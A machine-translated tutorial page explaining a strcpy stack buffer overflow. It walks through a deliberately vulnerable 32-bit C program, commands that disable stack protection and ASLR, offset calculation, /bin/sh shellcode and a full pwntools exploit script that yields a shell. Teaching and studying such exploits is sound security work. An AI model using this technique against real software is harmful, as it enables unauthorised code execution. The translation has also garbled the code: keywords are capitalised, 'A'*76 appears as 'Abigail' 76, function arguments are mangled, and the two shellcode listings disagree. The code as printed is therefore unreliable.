Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Why strcpy is not safe

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article is to share with you about why strcpy is not safe, the editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article.

Introduction

At the beginning of the school C language, many people used the function strcpy. To put it simply, it is a function copied in memory. This function is indeed very convenient, but this function is very insecure, and the buffer overflow vulnerability caused by this function has been described in many articles. We should abandon the use of strcpy and use strncpy instead.

Prototype statement: char* strcpy (char* dest, const char* src)

Header files: # include and # include

Function: copy the string that starts with the src address and contains the NULL Terminator to the address space starting with dest

Note: the memory areas referred to by src and dest cannot overlap and the dest must have enough space to accommodate src strings.

Since this function can cause a buffer overflow vulnerability, what does the vulnerability look like and how to exploit it? Many articles are very secretive about this, which makes people confused. To understand this, let's first take a look at the 32 program function calling convention under Linux.

Function calling convention (32-bit)

The following is a simple C program stackOf.c, the follow-up content is also around this program.

# include

# include

# include

Void vul (char * msg) {

Char buffer [64]

Strcpy (buffer,msg)

Return

}

Int main () {

Puts ("please give me your shellcode:")

Char shellcode [256]

Memset (shellcode,0256)

Read (0Magnum shellcode256)

Vul (shellcode)

Return 0

}

The function of this program is very simple, which is to copy the input to buffer. But there is a problem here, buffer is only 64 bytes, while input can be 256 bytes, what kind of problem will this cause? We'll talk about the next part. Here we look at what the corresponding assembly code looks like when vul (shellcode); is executed, and how the stack changes when entering the vul function and exiting the vul function. There are two main points to pay attention to in function calls: (1) the entry and exit of parameters; and (2) the balance of the stack.

There is only one parameter in this example, so you can see that the push eax operation is performed first, and then the call sym.vul is executed. That is, the parameters are put on the stack first, and then the call operation is carried out.

The function of the CALL instruction ("invoke" instruction) is the following two points:

Put the address of the next instruction (that is, the contents of the program counter PC at that time) into the stack

And send the starting address of the subroutine to PC (so the next instruction of CPU will go to execute the subroutine)

The process is shown in the following figure: take a look at the assembly code of vul: first put the old ebp into the stack, why this step is needed, in order to facilitate stack backtracking. As for the issue of stack backtracking, it will be discussed separately later. Let's focus on the leave and ret instructions:

When CPU executes the ret instruction, perform the following two steps: (IP) = ((ss) * 16 + (sp)) (return address) (esp) = (esp) + 2 (32 is + 4)

The function of the leave instruction: in 32-bit assembly, mov esp,ebp;// assigns the value of ebp to esppop ebp (an address should be kept inside ebp, that is, the space corresponding to this address).

Program compilation and running

Compile stackOf.c

Gcc-M32-no-pie-fno-stack-protector-z execstack-o pwnme stackOf.c

The running result is as follows: it is best to add a command to turn off the address of the system to randomize.

Sudo bash-c "echo 0 > / proc/sys/kernel/randomize_va_space"

For root users, you can use:

Echo 0 > / proc/sys/kernel/randomize_va_space

Check the data and conclude that the sudo command does not support redirection.

The idea of attack

Let's talk about the problem caused by the fact that buffer is only 64 bytes, while input can be 256 bytes. When the user input is too long, it will be overwritten to the high address.

If you overwrite the return address with: it overwrites the return address with the address of jum esp, so when the function returns, eip points to the address of jmp esp. Our well-designed buffer= padding character + jmp_esp address + shellcode

Fill data

So how is the data calculated? Debug with R2 (gdb is also fine), at the strcpy breakpoint, run:

Through the analysis of the assembly code of vul, we can know that ebx (0xffa97850) is put into the stack before the strcpy call, and this is the starting address of buffer, the address of ebp is 0xffa97898, and the address of the two is 0x48 = 64room8 = 72. Don't forget that ebp also entered the stack when entering the function, so you need to add 4 bytes, that is, 76 bytes.

Jum esp address

Through the ldd command, you can view the load address of libc.so, UTF-8, which needs to be added to avoid Chinese garbled.

#-*-coding: UTF-8-*-

From pwn import *

P = process ('. / pwnme') # run the program

P.recvuntil ("shellcode:") # when receiving the string 'shellcode:'

# find jmp_esp_addr_offset

Libc = ELF ('/ lib32/libc.so.6')

Jmp_esp = asm ('jmp esp')

Jmp_esp_addr_offset = libc.search (jmp_esp). Next ()

If jmp_esp_addr_offset is None:

Print 'Cannot find jmp_esp in libc'

Else:

Print hex (jmp_esp_addr_offset)

Libc_base = 0xf7de0000 # the libc loading address you found

Jmp_esp_addr = libc_base + jmp_esp_addr_offset # get jmp_esp_addr

Print hex (jmp_esp_addr)

The address of jmp esp in the program: jmp_esp_addr=jmp_esp_addr_offset+libc_base, combined with the illustration

Write shellcode

The shellcode is as follows:

'\ x31\ xc9\ xf7\ xe1\ xb0\ x0b\ x51\ x68\ x2f\ x73\ x68\ x68\ x2f\ x62\ x69\ x6e\ x89\ xe3\ xcd\ x80'

Complete attack code

#-*-coding: UTF-8-*-

From pwn import *

P = process ('. / pwnme') # run the program

P.recvuntil ("shellcode:") # when receiving the string 'shellcode:'

# find jmp_esp_addr_offset

Libc = ELF ('/ lib32/libc.so.6')

Jmp_esp = asm ('jmp esp')

Jmp_esp_addr_offset = libc.search (jmp_esp). Next ()

If jmp_esp_addr_offset is None:

Print 'Cannot find jmp_esp in libc'

Else:

Print hex (jmp_esp_addr_offset)

Libc_base = 0xf7de0000 # the libc loading address you found

Jmp_esp_addr = libc_base + jmp_esp_addr_offset # get jmp_esp_addr

Print hex (jmp_esp_addr)

# Construction layout

Buf = 'Abigail' 76

Buf + = p32 (jmp_esp_addr)

Buf + ='\ x31\ xc9\ xf7\ xe1\ xb0\ x0b\ x51\ x68\ x2f\ x73\ x68\ x2f\ x62\ x69\ x6e\ x89\ xe3\ xcd\ x80'

With open ('poc','wb') as f:

F.write (buf)

P.sendline (buf) # sends the constructed buf

P.interactive ()

Attack effect

We can see from the picture that we actually got shell, so we can delete files, browse files, copy files, and so on.

These are the reasons why strcpy is not safe. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report